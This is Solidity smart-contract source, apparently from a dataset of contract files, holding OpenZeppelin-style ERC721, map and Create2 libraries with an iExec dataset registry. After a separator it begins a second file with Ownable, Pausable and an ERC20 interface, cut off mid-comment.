function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = byte(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the balance of the specified address.
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If a base URI is set (via {_setBaseURI}), it is added as a prefix to the
* token's own URI (via {_setTokenURI}).
*
* If there is a base URI but no token URI, the token's ID will be used as
* its URI when appending it to the base URI. This pattern for autogenerated
* token URIs can lead to large gas savings.
*
* .Examples
* |===
* |`_setBaseURI()` |`_setTokenURI()` |`tokenURI()`
* | ""
* | ""
* | ""
* | ""
* | "token.uri/123"
* | "token.uri/123"
* | "token.uri/"
* | "123"
* | "token.uri/123"
* | "token.uri/"
* | ""
* | "token.uri/<tokenId>"
* |===
*
* Requirements:
*
* - `tokenId` must exist.
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// If there is no base URI, return the token URI.
if (bytes(_baseURI).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(_baseURI, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(_baseURI, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view returns (string memory) {
return _baseURI;
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param operator operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner.
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Internal function to safely mint a new token.
* Reverts if the given token ID already exists.
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
* @param _data bytes data to send along with a safe transfer check
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to set the token URI for a given token.
*
* Reverts if the token ID does not exist.
*
* TIP: If all token IDs share a prefix (for example, if your URIs look like
* `https://api.myproject.com/token/<id>`), use {_setBaseURI} to store
* it and save gas.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = to.call(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
));
if (!success) {
if (returndata.length > 0) {
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert("ERC721: transfer to non ERC721Receiver implementer");
}
} else {
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
}
function _approve(address to, uint256 tokenId) private {
_tokenApprovals[tokenId] = to;
emit Approval(ownerOf(tokenId), to, tokenId);
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - when `from` is zero, `tokenId` will be minted for `to`.
* - when `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
/**
* @dev Helper to make usage of the `CREATE2` EVM opcode easier and safer.
* `CREATE2` can be used to compute in advance the address where a smart
* contract will be deployed, which allows for interesting new mechanisms known
* as 'counterfactual interactions'.
*
* See the https://eips.ethereum.org/EIPS/eip-1014#motivation[EIP] for more
* information.
*/
library Create2 {
/**
* @dev Deploys a contract using `CREATE2`. The address where the contract
* will be deployed can be known in advance via {computeAddress}.
*
* The bytecode for a contract can be obtained from Solidity with
* `type(contractName).creationCode`.
*
* Requirements:
*
* - `bytecode` must not be empty.
* - `salt` must have not been used for `bytecode` already.
* - the factory must have a balance of at least `amount`.
* - if `amount` is non-zero, `bytecode` must have a `payable` constructor.
*/
function deploy(uint256 amount, bytes32 salt, bytes memory bytecode) internal returns (address) {
address addr;
require(address(this).balance >= amount, "Create2: insufficient balance");
require(bytecode.length != 0, "Create2: bytecode length is zero");
// solhint-disable-next-line no-inline-assembly
assembly {
addr := create2(amount, add(bytecode, 0x20), mload(bytecode), salt)
}
require(addr != address(0), "Create2: Failed on deploy");
return addr;
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy}. Any change in the
* `bytecodeHash` or `salt` will result in a new destination address.
*/
function computeAddress(bytes32 salt, bytes32 bytecodeHash) internal view returns (address) {
return computeAddress(salt, bytecodeHash, address(this));
}
/**
* @dev Returns the address where a contract will be stored if deployed via {deploy} from a contract located at
* `deployer`. If `deployer` is this contract's address, returns the same value as {computeAddress}.
*/
function computeAddress(bytes32 salt, bytes32 bytecodeHash, address deployer) internal pure returns (address) {
bytes32 _data = keccak256(
abi.encodePacked(bytes1(0xff), deployer, salt, bytecodeHash)
);
return address(bytes20(_data << 96));
}
}
abstract contract IRegistry is IERC721Enumerable
{
function isRegistered(address _entry) external virtual view returns (bool);
}
abstract contract Registry is IRegistry, ERC721, ENSReverseRegistration, Ownable
{
address public master;
bytes public proxyCode;
bytes32 public proxyCodeHash;
IRegistry public previous;
bool public initialized;
constructor(address _master, string memory _name, string memory _symbol)
public ERC721(_name, _symbol)
{
master = _master;
proxyCode = type(InitializableUpgradeabilityProxy).creationCode;
proxyCodeHash = keccak256(proxyCode);
}
function initialize(address _previous)
external onlyOwner()
{
require(!initialized);
initialized = true;
previous = IRegistry(_previous);
}
/* Factory */
function _mintCreate(address _owner, bytes memory _args)
internal returns (uint256)
{
// Create entry (proxy)
address entry = Create2.deploy(0, keccak256(abi.encodePacked(_args, _owner)), proxyCode);
// Initialize entry (casting to address payable is a pain in ^0.5.0)
InitializableUpgradeabilityProxy(payable(entry)).initialize(master, _args);
// Mint corresponding token
_mint(_owner, uint256(entry));
return uint256(entry);
}
function _mintPredict(address _owner, bytes memory _args)
internal view returns (uint256)
{
address entry = Create2.computeAddress(keccak256(abi.encodePacked(_args, _owner)), proxyCodeHash);
return uint256(entry);
}
/* Administration */
function setName(address _ens, string calldata _name)
external onlyOwner()
{
_setName(IENS(_ens), _name);
}
function setBaseURI(string calldata _baseURI)
external onlyOwner()
{
_setBaseURI(_baseURI);
}
/* Interface */
function isRegistered(address _entry)
external view override returns (bool)
{
return _exists(uint256(_entry)) || (address(previous) != address(0) && previous.isRegistered(_entry));
}
}
abstract contract RegistryEntry is ENSReverseRegistration
{
IRegistry public registry;
function _initialize(address _registry) internal
{
require(address(registry) == address(0), 'already initialized');
registry = IRegistry(_registry);
}
function owner() public view returns (address)
{
return registry.ownerOf(uint256(address(this)));
}
modifier onlyOwner()
{
require(owner() == msg.sender, 'caller is not the owner');
_;
}
function setName(address _ens, string calldata _name)
external onlyOwner()
{
_setName(IENS(_ens), _name);
}
}
contract Dataset is RegistryEntry
{
/**
* Members
*/
string public m_datasetName;
bytes public m_datasetMultiaddr;
bytes32 public m_datasetChecksum;
/**
* Constructor
*/
function initialize(
string memory _datasetName,
bytes memory _datasetMultiaddr,
bytes32 _datasetChecksum)
public
{
_initialize(msg.sender);
m_datasetName = _datasetName;
m_datasetMultiaddr = _datasetMultiaddr;
m_datasetChecksum = _datasetChecksum;
}
}
contract DatasetRegistry is Registry
{
/**
* Constructor
*/
constructor()
public Registry(
address(new Dataset()),
'iExec Dataset Registry (V5)',
'iExecDatasetsV5')
{
}
/**
* Dataset creation
*/
function encodeInitializer(
string memory _datasetName,
bytes memory _datasetMultiaddr,
bytes32 _datasetChecksum)
internal pure returns (bytes memory)
{
return abi.encodeWithSignature(
'initialize(string,bytes,bytes32)'
, _datasetName
, _datasetMultiaddr
, _datasetChecksum
);
}
function createDataset(
address _datasetOwner,
string calldata _datasetName,
bytes calldata _datasetMultiaddr,
bytes32 _datasetChecksum)
external returns (Dataset)
{
return Dataset(_mintCreate(_datasetOwner, encodeInitializer(_datasetName, _datasetMultiaddr, _datasetChecksum)));
}
function predictDataset(
address _datasetOwner,
string calldata _datasetName,
bytes calldata _datasetMultiaddr,
bytes32 _datasetChecksum)
external view returns (Dataset)
{
return Dataset(_mintPredict(_datasetOwner, encodeInitializer(_datasetName, _datasetMultiaddr, _datasetChecksum)));
}
}
|
DC1
|
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/utils/Pausable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
